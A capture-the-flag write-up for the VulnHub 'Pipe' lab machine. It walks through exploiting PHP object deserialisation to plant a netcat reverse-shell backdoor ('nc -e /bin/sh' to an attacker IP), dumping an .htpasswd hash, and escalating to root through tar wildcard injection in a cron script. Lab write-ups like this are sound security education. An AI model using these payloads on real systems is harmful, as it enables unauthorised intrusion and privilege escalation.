/dev/random: Pipe VulnHub Writeup
This is the first of two new challenges to hit VulnHub on 2015-10-02. This is touted as a mini-ctf, created by Sagi, and named Pipe.
Service discovery
Firs things first, I fire off nmap at the target machine.
Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-10-02 17:44 BST
Nmap scan report for 192.168.57.101
Host is up (0.000034s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.06 seconds
Great, so we've got SSH and HTTP to play with.
SSH does not provide us with anything of interest, so I move on.
HTTP - all the methods
Upon visiting the server, we're immediately presented with a 401 error. After a short time, I decide to try methods other than GET on the server. We are now shown a page with a body of text from a wikipedia article.
After taking a look at the source of the page, something immediately gets my attention.
<script src="scriptz/php.js"></script>
<script>
function submit_form() {
var object = serialize({id: 1, firstname: 'Rene', surname: 'Margitte', artwork: 'The Treachery of Images'});
object = object.substr(object.indexOf("{"),object.length);
object = "O:4:\"Info\":4:" + object;
document.forms[0].param.value = object;
document.getElementById('info_form').submit();
}
</script>
Looks like we're serialising some data, so that it can be deserialised in the PHP backend. Oh my..
While doing my initial recon, I checked out the 'scriptz' directory, and found that Directory Listing was enabled, and that a file was present named 'log.php.BAK'.
<?php
class Log
{
public $filename = '';
public $data = '';
public function __construct()
{
$this->filename = '';
$this->data = '';
}
public function PrintLog()
{
$pre = "[LOG]";
$now = date('Y-m-d H:i:s');
$str = '$pre - $now - $this->data';
eval("\$str = \"$str\";");
echo $str;
}
public function __destruct()
{
file_put_contents($this->filename, $this->data, FILE_APPEND);
}
}
?>
Great - this class, during its teardown will output to an arbitrary file, some arbitrary content. We can use this get a reverse shell on our target.
First of all, we use CURL to create our backdoor. The serialised object has been URL Encoded in the command - the original is show above it.
O:3:"Log":2:{s:8:"filename";s:19:"/var/www/html/a.php";s:4:"data";s:53:"<?php passthru("nc -e /bin/sh 192.168.57.102 8089")?>";}
curl --data 'param=O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2Fa.php%22%3Bs%3A4%3A%22data%22%3Bs%3A53%3A%22%3C%3Fphp+passthru%28%22nc+-e+%2Fbin%2Fsh+192.168.57.102+8089%22%29%3F%3E%22%3B%7D' http://192.168.57.101/index.php
We then in one tab setup our listener, and then in another, trigger our backdoor.
nc -l 8089
curl -X POST http://192.168.57.102/a.php
In our first tab, we've now granted a shell as the www-data user.
whoami
www-data
ls -alh
total 36K
drwxr-xr-x 4 www-data www-data 4.0K Oct 3 03:16 .
drwxr-xr-x 3 root root 4.0K Jul 5 14:46 ..
-rw-r--r-- 1 www-data www-data 0 Oct 3 01:31 .htaccess
-rw-r--r-- 1 www-data www-data 43 Jul 6 09:33 .htpasswd
-rw-r--r-- 1 www-data www-data 53 Oct 3 03:10 a.php
drwxr-xr-x 2 www-data www-data 4.0K Jul 6 02:53 images
-rw-r--r-- 1 www-data www-data 2.8K Jul 9 13:49 index.php
-rw-r--r-- 1 www-data www-data 150 Jul 6 01:50 info.php
-rw-r--r-- 1 www-data www-data 474 Jul 6 03:43 log.php
drwxr-xr-x 2 www-data www-data 4.0K Jul 6 02:37 scriptz
cat .htpasswd
rene:$apr1$wfYjXf4U$0ZZ.qhGGrtkOxvKr5WFqX/
I take note of the hash in the .htpasswd file for later, just in case John can help us out with it.
Next steps
After a little exploration, I find there is a user named ‘rene’ (matching the htpasswd file), and there are two readable files in a directory named 'backup' (which is in itself world writable) in their home directory.
ls -alh /home/rene
total 128K
drwxrwxrwx 2 rene rene 4.0K Oct 3 01:51 .
drwxr-xr-x 3 rene rene 4.0K Jul 6 07:42 ..
-rw-r--r-- 1 rene rene 91K Oct 3 01:50 backup.tar.gz
-rw-r--r-- 1 rene rene 26K Oct 3 01:51 sys-7500.BAK
I download both of these, and dig further.
The backup.tar.gz holds a number of files, follows the format of sys-
The file /etc/crontab is world readable, and gives us a trail to follow.
ls -alh /etc/crontab
-rw-r--r-- 1 root root 798 Jul 6 08:29 /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /root/create_backup.sh
*/5 * * * * root /usr/bin/compress.sh
Great - we can’t read the first file, but the second we can.
cat /usr/bin/compress.sh
#!/bin/sh
rm -f /home/rene/backup/backup.tar.gz
cd /home/rene/backup
tar cfz /home/rene/backup/backup.tar.gz *
chown rene:rene /home/rene/backup/backup.tar.gz
rm -f /home/rene/backup/*.BAK
Using a lesson learned from our Flick 2, we can escalate privileges to root using the tar call. The reason for this is that the tar call is using a wildcard to provide the argument list, meaning we can create a few files to execute arbitrary commands as the executing user (in this case, root). One difference is, that we're not in the session that's executing tar, so instead of spawning a shell, I'm going to set the SUID bit on the /bin/dash executable, so that we can execute it as root.
cd /home/rene/backup
echo > --checkpoint=1;
echo > --checkpoint-action=exec=sh\ shell.sh;
echo 'chmod u+s /bin/dash' > shell.sh
chmod +x shell.sh
Now we wait for the cron to run again, and then get a new session using /bin/dash, and proceed to recover our flag.
/bin/dash
whoami
root
ls /root
create_backup.sh
flag.txt
cat /root/flag.txt
.aMMMMMMMMn. ,aMMMMn.
.aMccccccccc*YMMn. `Mb
aMccccccccccccccc*Mn MP
.AMMMMn. MM `*YMMY*ccaM*
dM* *YMMb YP `cMY
YM. .dMMP aMn. .cMP
*YMMn. aMMMMMMMMMMMY'
.'YMMb. ccMP
.dMcccccc*Mc....cMb.cMP'
.dMMMMb;cccc*Mbcccc,IMMMMMMMn.
dY*' '*M;ccccMM..dMMM..MP*cc*Mb
YM. ,MbccMMMMMMMMMMMM*cccc;MP
*Mbn;adMMMMMMMMMMMMMMMIcccc;M*
dPcccccIMMMMMMMMMMMMMMMMa;c;MP
Yb;cc;dMMMMMMMMMMMP*' *YMMP*
*YMMMPYMMMMMMP*' curchack
+####################################+
|====== | |
|====== | |
|====== | |
|====== | |
|====== | |
+----------------------------------+-+
####################################
|====== |
|====== |
|===== |
|==== |
| |
+ +
.d8888b. d8b d8b 888 d8b
d88P Y88b Y8P 88P 888 Y8P
888 888 8P 888
888 .d88b. .d8888b888 88888b." .d88b. .d8888b 888888 88888b. 8888b. .d8888b 888 88888888b. .d88b. 88888b. 88888888b. .d88b.
888 d8P Y8bd88P" 888 888 "88b d8P Y8b88K 888 888 "88b "88b88K 888 888888 "88bd8P Y8b 888 "88b888888 "88bd8P Y8b
888 88888888888888 888 888 888 88888888"Y8888b.888 888 888.d888888"Y8888b. 888 888888 88888888888 888 888888888 88888888888
Y88b d88PY8b. Y88b. 888 888 888 Y8b. X88Y88b. 888 d88P888 888 X88 Y88b 888888 888Y8b. 888 d88P888888 d88PY8b. d8b
"Y8888P" "Y8888 "Y8888P888 888 888 "Y8888 88888P' "Y888 88888P" "Y888888 88888P' "Y88888888 888 "Y8888 88888P" 88888888P" "Y8888Y8P
888 888 888
888 888 888
888 888 888
Well Done!
Here's your flag: 0089cd4f9ae79402cdd4e7b8931892b7
Conclusion
Nice little challenge here - fun use of unusual Apache configuration, coupled with a little PHP serialisation.
Thank you for the challenge Sagi, and as always, thank you VulnHub for hosting it!